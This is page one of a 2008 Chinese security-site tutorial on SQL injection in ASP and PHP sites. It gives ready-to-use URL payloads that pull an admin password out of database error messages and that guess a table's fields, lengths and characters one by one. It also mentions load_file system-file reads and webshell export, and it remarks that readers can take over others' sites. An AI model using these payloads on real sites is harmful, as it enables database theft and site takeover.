执着成就未来 技术成就梦想
文字横幅以及760*60黄金广告位置招租,欢迎恰谈! 广告业务联系QQ:8019399 声明:在本站所投放广告内容均与本站立场无关!

您现在的位置: 中国安全在线 >> 攻防技术 >> 菜鸟学习 >> 文章正文 用户登录 新用户注册
专 题 栏 目
最 新 热 门
最 新 推 荐
相 关 文 章
三步找回被删并清空了回收站的文件
新手想做网吧技术网管应会些什么
如何维护和优化局域网技巧
查看自己IP地址的四种方法
实战经验 组建维护一个30人局域网
巧用支付宝 免交手续费
教你防范QQ隐身被检测(图)
入侵Windows XP的几个常用方法
经验谈:跳板攻击入侵技术实例解析
上网被ISP劫持?介绍一些好用的DNS域
SQL注入脚本漏洞的挖掘与防护
作者:佚名 来源:安全在线 更新时间:2008-6-11 18:18:56 【字体:
<%=(int(rnd()*1)+1)%>您当前的位置:中国安全在线cnsafer.com 请进入[技术论坛]发表评论

随着网络经济的复舒,开始越来越多的网站涌现出来,随着脚本漏洞的挖掘,黑客也越来越猖狂,并且越来越低龄化和傻瓜化。“你只要会用一个工具就可以黑站”,这就是脚本漏洞利的特点。这些漏洞的主要成因是编程程序员的素质,往往在编写asp或php等程序时候对字符的过滤不严密,对注入漏洞不了解,或者某个参数忘记检查导致的。 



由于编写网页程序这个行业的入门门槛不高,程序员的水平及经验也参差不齐,相当大一部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患。用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的数据,这就是所谓的SQL Injection,即SQL注入。 



相当大一部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患。我们看一个例子:在本机建一个基于iis的asp程序http://localhost/test/show.asp?ID=3,将这个网址提交到服务器后,服务器将进行类似Select * from 表名 where 字段="&ID的查询(ID即客户端提交的参数,本例即是3),再将查询结果返回给客户端,如果这里客户端故意提交这么一个网址:http://localhost/test/show.asp?ID=3 and user>0,这时,服务器运行Select * from 表名 where 字段=444 and user>0这样的查询,当然,这个语句是运行不下去的,肯定出错,错误信息如下: 



  ·错误类型: 

Microsoft OLE DB Provider for ODBC Drivers (0x80040E07) 
[Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 ’test’ 转换为数据类型为 int 的列时发生语法错误。 
/test/show.asp, 第 34 行 



从这个出错信息中,我们可以获得以下信息:该站使用MSSQL数据库,用ODBC连接,连接帐号名为:test。所谓SQL注入,就是利用程序员对用户输入数据的合法性检测不严或不检测的特点,故意从客户端提交特殊的代码,从而收集程序及服务器的信息,从而获取想得到的资料。通常别有用心者的目标是获取网站管理员的帐号和密码。比如当知道网站管理员帐号存在表login中,管理员帐号名为admin 想知道admin的密码,这里接着从客户端提交这样一个网址: 

http://localhost/test/show.asp?ID=4 and (Select password from login where user_name=’admin’)>0

返回的出错信息如下: 


  ·错误类型: 

Microsoft OLE DB Provider for ODBC Drivers (0x80040E07) 
[Microsoft][ODBC SQL Server Driver][SQL Server]将 varchar 值 ’admin888’ 转换为数据类型为 int 的列时发生语法错误。 
/test/show.asp, 第 34 行 



现在出来了“admin888”就是管理员的密码!得到这个密码,这时您就可以用这个帐号和密码接管人家的网站了!当然我们并不知道帐号就在表login中,而且也不知道管理员名为admin,但这些不容难办到,我们可以写个工具进行猜解,速度很快就可以找到你想要的东西了。前面是有关mssql数据库的注入基础,我们再看一看acce数据库的注入基础:首先进行浏览器的设置,以保证手工注入时能返回出错信息。其操作步骤为:右键单击浏览器图标,选择“属性”,在弹出来的对话框中选择“高级”选项卡,接着去掉“显示友好的HTTP错误信息”前面的钩,最后点击“应用”按钮即可。 



对于sql注入得先找到注入点,注入点的判断方法为:通常打开一个类似http://wwww.xxxx.com/xxx.asp?id=xx的url后加个单引号,变成http://ww.xxx.com/xxx.asp?id=xx’ 



如果出现错误提示,则说明可能存在注入漏洞,再输入http://www.xxx.com/xxx.asp?id=xx and 1=1如果存在SQL注入漏洞,就可以查询数据库,1=1是一个恒等式可以忽略,因此会返回一个正常的页面,此页面和http://wwww.xxxx.com/xxx.asp?id=xx一样,这时入侵者便判断此站有希望被注入。如果返回的是一些错误信息,那么一些初级的入侵者可能就会放弃这个站点。入侵者进一步向浏览器提交如下url: http://www.xxx.com/xxx.asp?id=xx and 1=2,1=2为一个恒不等式,如果该站点支持数据库查询,则大概会返回如下所示的信息: 



Microsoft vbscript 编译器错误 错误码率  

‘800a03f6’                                                                                                                  

缺少’End’ 

/iishelp/common/500-100.asp,行242 

ADODB.Field 错误 ‘800a0bcd’ 



一般出现以上信息就可以确定存在sql注入漏洞了。下面我们来看一下sql注入的过程分析:  
   

  如: 打开:http://hostlocal/test2/list.asp?id=17在其后面加'为http://hostlocal/test2/list.asp?id=17' 
出错!显示为:“数据库出错”。那么接下来我们便进行如下操作: 



1 猜管理员帐号表。 
2 猜相应表中的用户的字段名以及密码的字段名。 
3 猜出用户名的长度和密码的长度 
4 猜出用户和密码 
5 找到管理页面进入管理 



猜管理员的表:
       

 http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin)'//min(id)返回表中ID最小值 
返回文章证明,有一个admin的表;如果没有返回文章,证明出错不存在admin这个表。 
     
猜用户的字段名: 

http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where user='aaa')返回错误信息,表示没有user这个用户段名 
再来!~~~http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where username='aaa') 
没有返回错误信息,又没有返回文章,提示找不到文章。证明在admin中存在username个字段,只是用户名不是aaa 

猜密码的字段名: 
http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where passwd='aaa')返回错误信息表示没有passwd这个密码字段名。                         

再来:http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where password=aaa')没有返回错误信息,又没有返回文章,提示找不到文章。证明在admin中存在password这个字段,只是密码不是aaa 

猜用户字段名长度:                           

http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where len(username) 

>5)                                                              

 正确 
http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where len(username)<10) 
正确 
用户名长度大于5小于10 
http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where len(username) 

=7)                                                               

呵``` 用户名长度为7位 

猜密码长度: 
http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where len(password)>5) 
正确 
http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where len(password)<10) 
正确 
密码长度也是大于5小于10 
http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where len(password)=7) 
呵``` 密码长度为7位 

猜用户名: 
http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where mid(username,1,1)='a') 

 用户名第一个字母是:a                                                           

猜用户名第二位:http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where mid(username,2,1)='b')                                              

以此类推! 

猜密码:                                                                        

猜密码跟猜用户名一样! 
http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where mid(password,1,1)='a')  
猜完后来到管理页面: 
http://hostlocal/test2/admin.asp 



登录 



接下来我简述一下对于php的注入攻击:

Php的环境一般是apache+php+mysql,平常配置服务器一般是打开php.ini里的安全模式,将safe_mode设为on,还有就是将display_erors设为off,即关闭错误显示。还有一个非常重要的配置选项-----magic_quotes_gpc,高版本默认为on,以前的版本中默认为off。当magic_quotes_gpc为on的时候我们怎么防范php的字符变量注入呢?其实只需将提交的变量中的所有单引号、双引号、反斜线和空字告符自动转换为含有反斜线的转义字符。如把“’”变成“\”,把“\”变成“\\”,就ok了。下面我们分为对magic_quotes_gpc=off和magic_quotes_gpc=on的注入清况分析一下。
我们先看一段有漏洞的php代码,这段代码是用来搜索的。
 
从上面代码中我们可以看出,是一个搜索表单,通过post提交数据,并进行select查询,当然要分析这些漏洞我们得先掌握php语言和mysql语法。如果我们从表单中提交%’ order by id#(#号在mysql中表示注释,不执行后面的sql语句),或者用’ order by id#,带入的sql语句就成了select * from user where username like ‘% %’ order by id# order by username 和 select * from users where’ order by id# order by username。这样数据库的内容会全部返回,列出所有用户名,还有密码等。当然还有update 语句注入攻击、insert语句注入攻击等,最常用的是union语法注入,采用into outfile语句导出php脚本木马。
首先要清楚一些mysql语句,如mysql>select load_file(‘c:/boot.ini’)我们可以查看c盘下的boot.ini文件内容,在有注入点的网址后面加入该查询语句就可以显示出黑客们想获得的敏感信息,如查看数据库的连接文件获得数据库帐号,查看ect

[1] [2] 下一页

您对本文章有什么意见或着疑问吗?请到论坛讨论您的关注和建议是我们前行的参考和动力

文章录入:ls1238    责任编辑:ls1238 
  • 上一篇文章:

  • 下一篇文章:
  • 【字体: 】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
    网友评论:(只显示最新10条。评论内容只代表网友观点,与本站立场无关!)
    | 设为首页 | 加入收藏 | 联系方式 | 友 情链接 | 关于我们 | 网站留言 |
    Copyright ?2003-2008 www.cnsafer.com All Rights Reserved.
    如有意见请与我们联系 Email:admin#mail.cnsafer.com 联系QQ:8589101
    中国安全在线友情提示:建议使用IE6.0或以上版本, 分辩率1024*768进行浏览
    敢想 敢做 挑战自我 努力做最好 打造最优秀的新手成长 第一起跑线
    中网科技有限公司 技术支持 鄂ICP备05006475号